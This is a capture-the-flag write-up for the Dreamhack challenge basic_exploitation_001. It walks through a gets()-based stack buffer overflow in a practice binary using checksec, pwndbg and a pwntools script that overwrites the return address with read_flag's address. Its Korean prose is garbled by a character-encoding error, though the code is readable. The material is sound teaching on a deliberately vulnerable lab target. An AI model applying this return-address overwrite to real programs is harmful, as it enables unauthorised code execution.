[Dreamhack] Level1: basic_exploitation_001
ποΈ Access
μ΄ λ¬Έμ λ μλ²μμ μλνκ³ μλ μλΉμ€(basic_exploitation_001)μ λ°μ΄λ리μ μμ€ μ½λκ° μ£Όμ΄μ§λλ€.
νλ‘κ·Έλ¨μ μ·¨μ½μ μ μ°Ύκ³ μ΅μ€νλ‘μν΄ “flag” νμΌμ μ½μΌμΈμ.
“flag” νμΌμ λ΄μ©μ μκ²μ μ¬μ΄νΈμ μΈμ¦νλ©΄ μ μλ₯Ό νλν μ μμ΅λλ€. νλκ·Έμ νμμ DH{…} μ λλ€.
πΎ Exploit Algorithm & Payload
#basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
#Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#1
$ checksec --file basic_exploitation_001
$ readelf -h basic_exploitation_001
: λ³΄νΈ κΈ°λ²κ³Ό, ELF ν¬λ§·μ λΆμνκΈ° μν΄ λ€μκ³Ό κ°μ μ½λλ₯Ό μ¬μ©νλ€.
: μ μ¬ wargameμΈ 'basic_exploitation_000' κ³Ό λ€λ₯Έ μ μ nx bitκ° μ‘΄μ¬νλ€λ μ μ΄λ€.
(-> shellcode μ½μ λΆκ°)
(32bit 리νμλμΈ, relro μμ, μΉ΄λ리 μμ, pie μμ)
#2
: μ€νμ κΈ°λ³Έ λ©λͺ¨λ¦¬ ꡬ쑰μμ 32bitμμλ Buffer + SFP[4byte] + RET[4byte]μ΄λ€.
: buf[0x80] (128byte)λ§νΌ μ£Όμκ° ν λΉλλλ° μ¬κΈ°μ getsν¨μλ‘ buf λ°°μ΄μ μ λ ₯μ μ μ₯ν¨μ μ μ μλ€.
(128byte+4byte=132byteνμ RETμ£Όμ)
: νμ§λ§ getsλ μ λ ₯ κ°μ λν μ νμ΄ μκΈ° λλ¬Έμ BOF(Buffer OverFlow)μ·¨μ½μ μ΄ λ°μνλ€λ κ²μ νμ ν μ μλ€.
$ gdb basic_exploitation_001
pwndbg> info func
pwndbg> print read_flag
#$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>
pwndbg> disassemble main
# 0x080485db <+15>: call 0x80483d0 <gets@plt>
# 0x080485e0 <+20>: add esp,0x4
# ...
# 0x080485e9 <+29>: ret
pwndbg> b *main+20
Breakpoint 1 at 0x80485e0
pwndbg> b *main+29
Breakpoint 2 at 0x80485e9
pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#'a' 131
pwndbg> c
Continuing.
# ni , finish, ...
pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# 'a' 132
# ni , finish, ...
: μ΄λ λ― gdb λλ²κΉ μ ν΅ν΄μλ BOF μ·¨μ½μ μ λ©λͺ¨λ¦¬λ‘ λΆμν μ μλ€.
πAnalysis and results for obtaining the Flag DH{…}
from pwn import *
r = remote("host3.dreamhack.games", 19695)
read_flag = 0x80485b9
payload = b"\x61"*132
payload += p32(read_flag)
r.sendline(payload)
r.interactive()
: μ½λμμλ read_flag ν¨μλ₯Ό νΈμΆνμ§ μμ§λ§ μλ κ²μ μ μ μμκΈ°μ read_flagμ μ£Όμλ₯Ό μμλΈ ν, 리ν΄μ£Όμ(RET)μ read_flag μ£Όμλ‘ λ³κ²½νκ² λλ©΄ κ°μ νμΈν μ μλ€.
(pwndbg> print read_flag #$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>)
: python pwdλ₯Ό μ΄μ©νμ¬ νλκ·Έλ₯Ό νλν μ μλ€.
π Summary
BOFλ λ²νΌκ° λμΉ μ μλ μ½λλ₯Ό νΉν μ£Όμν΄μΌνλ€.
| BOFμ μ·¨μ½ν ν¨μ |
: μ²λ¦¬νλ λ¬Έμμ΄μ μ΅λ ν¬κΈ°λ₯Ό μ νμ§ μλ ν¨μ
• strcpy
• strcat
• gets
• fscanf
• sprintf
• vfscanf
• vsprintf
• vscanf
• vsscanf
• streadd
• streadd
• strecpy
• strtms